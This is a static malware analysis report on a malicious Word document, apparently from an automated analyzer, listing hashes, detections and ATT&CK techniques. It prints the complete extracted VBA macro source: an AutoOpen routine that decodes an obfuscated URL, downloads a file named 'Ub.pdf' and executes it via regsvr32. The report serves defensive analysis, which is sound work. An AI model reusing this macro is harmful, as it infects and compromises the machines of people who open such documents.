Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 42b380f5afc8d5a4…

MALICIOUS

Office (OOXML)

117.1 KB Created: 2020-07-23 08:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 9aee7a6507f7b66fbf33c37286b91f4c SHA-1: b6eedafc494272b169cfe76e91de25d12bcb6430 SHA-256: 42b380f5afc8d5a470987e95e2a82378fb902daf8a33250dada4e858adccc305
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros, specifically an AutoOpen subroutine. This subroutine is designed to download a file named 'Ub.pdf' using the URLDownloadToFile function and then execute it using Shell. The presence of the AutoOpen macro and the URLDownloadToFile function strongly indicate a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal h4 As LongPtr, ByVal Qd As String, ByVal HP As String, ByVal Ss As LongPtr, ByVal Wo As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
Ti = i(c4)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4145 bytes
SHA-256: a49428e733af3f8cbb73a621a615f738270366d4b451d41d01305fe089cd1425
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sw"
Public Const D As String = "Ub.pdf"
Function i(jp)
Cb = hF(jp)
For oA = 0 To UBound(Cb)
 QC = QC & Chr(Cb(oA) Xor 1)
Next oA
i = QC
End Function
Function hF(jp)
hF = Split(jp, " ")
End Function
Sub autoopen()
Ti = i(c4)

' Margot cal
' Hughes niggard terminology
' Baseness liabilities moved afflict
frm.download Ti, D

' Epitome fortune
' Concierge range jvc imagine
' Dudgeon mouthpiece poverty

' Sam apocryphal glisten
' Frontispiece hour tie monopolize
' Zero
' Prep someone hopefully grease texas
' Spurn
' Community exalt former figurative
' Percent clocks

' Relatives jurist hidden silicon hebe theatre
' Quizzes

' Swoop vastness administrators stripes
' Unravel honeysuckle university spears
' Uruguay clayey dm
' Cu mx

' Leathery bandy
' Width plots abbot harangue mandy
' Vibrant amelioration
' Dubai jackal australian grain
Dim jF As New WshShell

' Movers swooping cooperate
' Lawsuit villainous repellent
' Louisville
' Andreas algonquin
Call jF.run(hn & m & "32 " + D)
End Sub

Attribute VB_Name = "Sw1"
Sub E8()

' Apulia ridge omelet
' Ambien platter nd tar
' Node pussy humanitarian
' Unbiased mrna

' Privateer extract wrestling cited classifieds
' Dislodge organizational anymore
' Venerate fully rt murphy slavic
' Phases sluts nav oral
' Pinnacle chamber

' Interpretation measles prosaic shore degree fifty-seven familiar
' By liqueur
' Tibet woodlands
' Petal rede teen deflected derbyshire
' Babylonian wanting lightning vistula

' Afghan newcastle cycle wickedly
' Consider

' Simmer quoted creamy craftsmen
' Rockies outstrip
' Retained layers obadiah cravat

' Tourism fee seems
' Paternity campaigns chauffeur pocketbook
' Resident reporters falcon burlesque admissions providence
' Beget rail accumulate scary omissions

' Rest orchestra unctuous
' Focal
' Val simulations peruse eros
' Undefined
' Hurrah

' Molecule
' Swirl paddling religion
' Locator q serves
' Gasoline agape
' Coxcomb ga harley tacitly latitude episodes

' Sherry pills indicated encamp
' Hoc
' Accepted echo
' Plaid manliness quantum starch

' Benign quantitative shrewdness sporadic puissant
' Hindu prohibit goal
' Grant windsor
' Expeditious brit

' Realistic assault austin tattoo
' Coiffure schoolboy offset banjo
' Gear loitering super have level
' Thats
' Operate incest stephen

' Liquid forming dab
' Gala
' Toward facial
' Exceed phrygian sig hi infinitive
End Sub

Attribute VB_Name = "MR"
Public Const hn As String = "reg"
Public Const m As String = "svr"
Public Const c4 As String = "105 117 117 113 59 46 46 100 103 98 57 55 101 101 47 98 110 108 46 121 100 108 98 109 46 104 99 96 47 113 105 113 62 109 60 116 111 117 57 47 98 96 99 33"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal h4 As LongPtr, ByVal Qd As String, ByVal HP As String, ByVal Ss As LongPtr, ByVal Wo As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal h4 As Long, ByVal Qd As String, ByVal HP As String, ByVal Ss As Long, ByVal Wo As Long) As Long
#End If
Function zL()

' Shutter mitchell venison

' Carouse hoary disappointed
' Validity laptop influx agitator tribune
' Paper whirring dynastic
' Throwed forward admittance
' Delegation
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{84D0BA82-3AB0-473C-99D6-BABAF7C2D7D8}{A1726993-9BFC-4191-AE3B-4D12BA01D7DE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: 5423af81ee27c0093ee6b0e7eb7d4c51364cdcb0920ca8ab0f1040f9fb3e4fb9

Open this report in the interactive analyzer, or submit your own file for analysis.